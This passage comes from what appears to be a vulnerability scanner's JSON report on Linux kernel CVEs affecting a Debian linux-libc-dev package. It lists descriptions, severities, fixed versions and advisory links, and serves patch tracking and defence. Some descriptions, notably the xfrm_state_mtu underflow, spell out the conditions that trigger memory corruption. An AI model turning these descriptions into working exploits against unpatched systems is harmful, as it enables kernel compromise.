"https://bugzilla.redhat.com/2502248", "https://bugzilla.redhat.com/2502260", "https://bugzilla.redhat.com/2502329", "https://bugzilla.redhat.com/2502363", "https://bugzilla.redhat.com/2502421", "https://bugzilla.redhat.com/2502447", "https://bugzilla.redhat.com/2507046", "https://bugzilla.redhat.com/2507089", "https://bugzilla.redhat.com/2507118", "https://bugzilla.redhat.com/2507119", "https://bugzilla.redhat.com/2507208", "https://bugzilla.redhat.com/2507277", "https://bugzilla.redhat.com/2508363", "https://bugzilla.redhat.com/2513167", "https://bugzilla.redhat.com/2513392", "https://bugzilla.redhat.com/2516248", "https://bugzilla.redhat.com/2516448", "https://bugzilla.redhat.com/show_bug.cgi?id=2406747", "https://bugzilla.redhat.com/show_bug.cgi?id=2432366", "https://bugzilla.redhat.com/show_bug.cgi?id=2482006", "https://bugzilla.redhat.com/show_bug.cgi?id=2482558", "https://bugzilla.redhat.com/show_bug.cgi?id=2492447", "https://bugzilla.redhat.com/show_bug.cgi?id=2502219", "https://bugzilla.redhat.com/show_bug.cgi?id=2502227", "https://bugzilla.redhat.com/show_bug.cgi?id=2502235", "https://bugzilla.redhat.com/show_bug.cgi?id=2502239", "https://bugzilla.redhat.com/show_bug.cgi?id=2502240", "https://bugzilla.redhat.com/show_bug.cgi?id=2502248", "https://bugzilla.redhat.com/show_bug.cgi?id=2502260", "https://bugzilla.redhat.com/show_bug.cgi?id=2502329", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502421", "https://bugzilla.redhat.com/show_bug.cgi?id=2502447", "https://bugzilla.redhat.com/show_bug.cgi?id=2507046", "https://bugzilla.redhat.com/show_bug.cgi?id=2507089", "https://bugzilla.redhat.com/show_bug.cgi?id=2507118", "https://bugzilla.redhat.com/show_bug.cgi?id=2507119", "https://bugzilla.redhat.com/show_bug.cgi?id=2507208", "https://bugzilla.redhat.com/show_bug.cgi?id=2507277", "https://bugzilla.redhat.com/show_bug.cgi?id=2508363", "https://bugzilla.redhat.com/show_bug.cgi?id=2513167", "https://bugzilla.redhat.com/show_bug.cgi?id=2513392", "https://bugzilla.redhat.com/show_bug.cgi?id=2516248", "https://bugzilla.redhat.com/show_bug.cgi?id=2516448", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40064", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53399", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63800", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63808", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63886", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64018", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64298", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64304", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64387", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64438", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64490", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68480", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72069", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72130", "https://errata.almalinux.org/9/ALSA-2026-63129.html", "https://errata.rockylinux.org/RLSA-2026:63129", "https://git.kernel.org/linus/87a1e0fe7776da7ab411be332b4be58ac8840d10%20%287.1-rc6%29", "https://git.kernel.org/stable/c/155f90be5ee8be5b110ebc0b7da33c54c83b0208", "https://git.kernel.org/stable/c/5b23a2ff379e70b6b9ff744a972b63e1f8f4d996", "https://git.kernel.org/stable/c/6512c57c4638ddec113bf42439361ba85a12048d", "https://git.kernel.org/stable/c/87a1e0fe7776da7ab411be332b4be58ac8840d10", "https://git.kernel.org/stable/c/8e59d4d0dcde2dfb07a7ef855c849a2a0560aa57", "https://git.kernel.org/stable/c/a0ffc6081a8b27082dd5eae5aa1e3f59bbecf06c", "https://git.kernel.org/stable/c/a7f4eefb6e1458431eef9fa20fb363320d185f76", "https://git.kernel.org/stable/c/ecf45080a4d3f4526cacb8b14060fe3b49a6913b", "https://linux.oracle.com/cve/CVE-2026-64002.html", "https://linux.oracle.com/errata/ELSA-2026-68531.html", "https://lore.kernel.org/linux-cve-announce/2026071907-CVE-2026-64002-b8fe@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64002", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64002" ], "PublishedDate": "2026-07-19T16:17:39.807Z", "LastModifiedDate": "2026-10-19T21:17:17.993Z" }, { "VulnerabilityID": "CVE-2026-64007", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64007", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:302e79e8cf1a4230523e4e6941ba80ab1bcd070fd5243fd6a3f1ccdf4cd2094d", "Title": "kernel: netfilter: synproxy: refresh tcphdr after skb_ensure_writable", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: synproxy: refresh tcphdr after skb_ensure_writable\n\nsynproxy_tstamp_adjust() rewrites the TCP timestamp option in place\nand then patches the TCP checksum via inet_proto_csum_replace4() on\nthe caller-supplied tcphdr pointer. Both ipv4_synproxy_hook() and\nipv6_synproxy_hook() obtain that pointer with skb_header_pointer()\nbefore calling in, so it may either alias skb-\u003ehead directly or\npoint at the caller's on-stack _tcph buffer.\n\nBetween obtaining the pointer and using it, the function calls\nskb_ensure_writable(skb, optend), which on a cloned or non-linear\nskb invokes pskb_expand_head() and frees the old skb-\u003ehead. After\nthat point the cached th is stale:\n\n caller (ipv[46]_synproxy_hook)\n th = skb_header_pointer(skb, ..., \u0026_tcph)\n synproxy_tstamp_adjust(skb, protoff, th, ...)\n skb_ensure_writable(skb, optend)\n pskb_expand_head() /* kfree(old skb-\u003ehead) */\n ...\n inet_proto_csum_replace4(\u0026th-\u003echeck, ...)\n /* writes into freed head, or\n into the caller's stack copy\n leaving the on-wire checksum\n stale */\n\nThe option bytes are written through skb-\u003edata and are fine; only\nthe checksum update goes through th and so lands in the wrong\nplace. The result is either a write into freed slab memory or a\npacket leaving with a checksum that does not match its payload.\n\nFix by re-deriving th from skb-\u003edata + protoff immediately after\nskb_ensure_writable() succeeds, so the subsequent checksum update\ntargets the linear, writable header.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-64007", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/92170e6afe927ab2792a3f71902845789c8e31b1%20%287.1-rc6%29", "https://git.kernel.org/stable/c/92170e6afe927ab2792a3f71902845789c8e31b1", "https://git.kernel.org/stable/c/9902a1058992de5d95656b64a3bd95c077f7ba2c", "https://git.kernel.org/stable/c/a91887a5b6ee4b98dfbf1db657ed2b879430149e", "https://git.kernel.org/stable/c/af2c22ccb1f621aff487ff47a040e38e058541e7", "https://git.kernel.org/stable/c/c7f945f7da097245a2f8ed7775ce48421047ee96", "https://git.kernel.org/stable/c/d3019c61799adc21811af4b521f11f3dc77f8e04", "https://git.kernel.org/stable/c/dd206819f210522579010d889d45a9530bb494bc", "https://git.kernel.org/stable/c/f0fea2b6d5453a11ad11713bbf37561b9b3a7edf", "https://linux.oracle.com/cve/CVE-2026-64007.html", "https://linux.oracle.com/errata/ELSA-2026-66000-0.html", "https://lore.kernel.org/linux-cve-announce/2026071908-CVE-2026-64007-5e61@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64007", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8817-1", "https://ubuntu.com/security/notices/USN-8817-2", "https://ubuntu.com/security/notices/USN-8817-3", "https://ubuntu.com/security/notices/USN-8818-1", "https://ubuntu.com/security/notices/USN-8818-2", "https://ubuntu.com/security/notices/USN-8818-3", "https://ubuntu.com/security/notices/USN-8818-4", "https://ubuntu.com/security/notices/USN-8818-5", "https://ubuntu.com/security/notices/USN-8818-6", "https://ubuntu.com/security/notices/USN-8842-1", "https://ubuntu.com/security/notices/USN-8849-1", "https://ubuntu.com/security/notices/USN-8871-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64007" ], "PublishedDate": "2026-07-19T16:17:40.407Z", "LastModifiedDate": "2026-10-19T21:17:18.75Z" }, { "VulnerabilityID": "CVE-2026-64009", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64009", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fac66f2599ecb0431edac6ef107b1edc168d0aae20158296bbd68ff0925c450f", "Title": "kernel: xfrm: Check for underflow in xfrm_state_mtu", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: Check for underflow in xfrm_state_mtu\n\nLeo Lin reported OOB write issue in esp component:\n\n xfrm_state_mtu() returns u32 but performs its arithmetic in unsigned\n modulo-2^32 space using an attacker-influenced \"header_len + authsize +\n net_adj\" subtracted from a small \"mtu\" argument. A nobody user can\n install an IPv4 ESP tunnel SA with a large authentication key\n (XFRMA_ALG_AUTH_TRUNC, e.g. hmac(sha512), 64-byte key, 64-byte trunc),\n configure a small interface MTU (68 bytes), and set XFRMA_TFCPAD to a\n large value. When a single UDP datagram is then sent through the\n tunnel, xfrm_state_mtu() underflows to a near-2^32 value, and\n esp_output() consumes it as a signed int via:\n\n padto = min(x-\u003etfcpad, xfrm_state_mtu(x, mtu_cached))\n esp.tfclen = padto - skb-\u003elen (assigned to int)\n\n esp.tfclen ends up negative (e.g. -207). It is sign-extended to size_t\n when passed to memset() inside esp_output_fill_trailer(), producing a\n ~16 EB write of zeroes at skb_tail_pointer(skb). KASAN logs it as\n \"Write of size 18446744073709551537 at addr ffff888...\".\n\nCheck for underflow and return 1. This causes the sendmsg attempt to\nfail with ENETUNREACH.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-191" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:86033", "https://access.redhat.com/security/cve/CVE-2026-64009", "https://bugzilla.redhat.com/2461761", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2502325", "https://bugzilla.redhat.com/2502332", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502356", "https://bugzilla.redhat.com/2502462", "https://bugzilla.redhat.com/2502486", "https://bugzilla.redhat.com/2511413", "https://bugzilla.redhat.com/2516967", "https://bugzilla.redhat.com/2532230", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546491", "https://bugzilla.redhat.com/2553429", "https://errata.almalinux.org/9/ALSA-2026-86033.html", "https://git.kernel.org/linus/742b04d0550b0ec89dcbc99537ec88653bd1ad90%20%287.1-rc6%29", "https://git.kernel.org/stable/c/1021d2877b689a648b27815c854557a917122e93", "https://git.kernel.org/stable/c/2a41b1b31c61c52b972278ce1732a1443f5e89ed", "https://git.kernel.org/stable/c/3db50ceeacb52806d8fe86fb1dfe944df0b9f789", "https://git.kernel.org/stable/c/742b04d0550b0ec89dcbc99537ec88653bd1ad90", "https://git.kernel.org/stable/c/8014f70c4e6e5ab101ae3860a614e65e988372e3", "https://git.kernel.org/stable/c/820e501be8aee4b365d218d83227b314309c5fda", "https://git.kernel.org/stable/c/82ac903e0b519849647657b8c48d21237ada06a2", "https://git.kernel.org/stable/c/fccd685b32df5aaf6bad4381eeda216468e283f0", "https://linux.oracle.com/cve/CVE-2026-64009.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026071908-CVE-2026-64009-4587@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64009", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64009" ], "PublishedDate": "2026-07-19T16:17:40.663Z", "LastModifiedDate": "2026-10-19T21:17:18.95Z" }, { "VulnerabilityID": "CVE-2026-64014", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64014", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b9ba6a45d0295416f8a85e05fe35308f027e7d4aeb52799b726f64b09219457f", "Title": "kernel: Input: usbtouchscreen - clamp NEXIO data_len/x_len to URB buffer size", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nInput: usbtouchscreen - clamp NEXIO data_len/x_len to URB buffer size\n\nnexio_read_data() pulls data_len and x_len from a packed __be16 header\nin the device's interrupt packet and then walks packet-\u003edata[0..x_len)\nand packet-\u003edata[x_len..data_len) comparing each byte against a\nthreshold.\n\nBoth fields are 16-bit on the wire (max 65535). The existing\nadjustments shave at most 0x100 / 0x80 off, so the loop bound can still\nreach roughly 0xfeff. The URB transfer buffer for NEXIO is rept_size\n(1024) bytes from usb_alloc_coherent(), with the first 7 occupied by the\npacked header — so packet-\u003edata[] has 1017 valid bytes. read_data()\ncallbacks are not given urb-\u003eactual_length, and nothing else bounds the\nwalk.\n\nA device that lies about its length can get a ~64 KiB out-of-bounds read\npast the coherent DMA allocation. The first index whose byte exceeds\nNEXIO_THRESHOLD lands in begin_x / begin_y and from there into the\nreported touch coordinates, so adjacent kernel memory contents leak to\nuserspace as ABS_X / ABS_Y events. Far enough out, the read can also\nhit an unmapped page and fault.\n\nFix this all by clamping data_len to the buffer's data[] capacity and\nx_len to data_len.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "V3Score": 5.2 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64014", "https://git.kernel.org/linus/2905281cbda52ec9df540113b35b835feb5fafd3%20%287.1-rc6%29", "https://git.kernel.org/stable/c/0ca809ea8e0355299266c46e5f1755040aa8dcf3", "https://git.kernel.org/stable/c/103d2de9f505f56da173e43f12dba62f92620278", "https://git.kernel.org/stable/c/2905281cbda52ec9df540113b35b835feb5fafd3", "https://git.kernel.org/stable/c/45c829e5eb3b974282bae50b7cca2cc891f74f0b", "https://git.kernel.org/stable/c/7585b6aa55d8ac85ad22f522e1059f93507727b6", "https://git.kernel.org/stable/c/95f47331dfde243f93e679ce70bd0c24b37c683d", "https://git.kernel.org/stable/c/d883312061ccde8c536595998aaf687ec070077c", "https://git.kernel.org/stable/c/e7cdcb266ba06d8480809b78ab8bb2bf8ff51ccb", "https://kernelcve.org/list/?q=CVE-2026-64014", "https://linux.oracle.com/cve/CVE-2026-64014.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026071909-CVE-2026-64014-d94b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64014", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64014" ], "PublishedDate": "2026-07-19T16:17:41.32Z", "LastModifiedDate": "2026-10-24T20:10:00.137Z" }, { "VulnerabilityID": "CVE-2026-64017", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64017", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3659c443f938a0e3189e9d211adee67af70f518d0ce380dc76e69829d93b3488", "Title": "kernel: blk-mq: pop cached request if it is usable", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nblk-mq: pop cached request if it is usable\n\nWhen submitting a bio to blk-mq, if the task should sleep after peeking\na cached request, but before it pops it, the plug flushes and calls\nblk_mq_free_plug_rqs, freeing the cached_rqs. This creates a\nuse-after-free bug. Fix this by popping the cached request before any\npossible blocking calls if it is suitable for use.\n\nPopping this request first holds a queue reference, so avoid any\nserialization races with queue freezes and can safely proceed with\ndispatching that request to the driver. This potentially increases a\ntiming window from when a driver wants to freeze its queue to when\nrequests stop being dispatched. That scenario is off the fast path\nthough, and drivers need to appropriately handle requests during a\nfreeze request anyway.\n\nThe downside is the popped element needs to be individually freed when\nwe performed a bio plug merge. The cached request would have had to be\nfreed later anyway, but this patch does it inline with building the plug\nlist instead of after flushing it.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:47040", "https://access.redhat.com/security/cve/CVE-2026-64017", "https://bugzilla.redhat.com/2400057", "https://bugzilla.redhat.com/2432666", "https://bugzilla.redhat.com/2492413", "https://bugzilla.redhat.com/2493728", "https://bugzilla.redhat.com/2502449", "https://bugzilla.redhat.com/show_bug.cgi?id=2400057", "https://bugzilla.redhat.com/show_bug.cgi?id=2432666", "https://bugzilla.redhat.com/show_bug.cgi?id=2492413", "https://bugzilla.redhat.com/show_bug.cgi?id=2493728", "https://bugzilla.redhat.com/show_bug.cgi?id=2502449", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39797", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52973", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64017", "https://errata.almalinux.org/9/ALSA-2026-47040.html", "https://errata.rockylinux.org/RLSA-2026:47040", 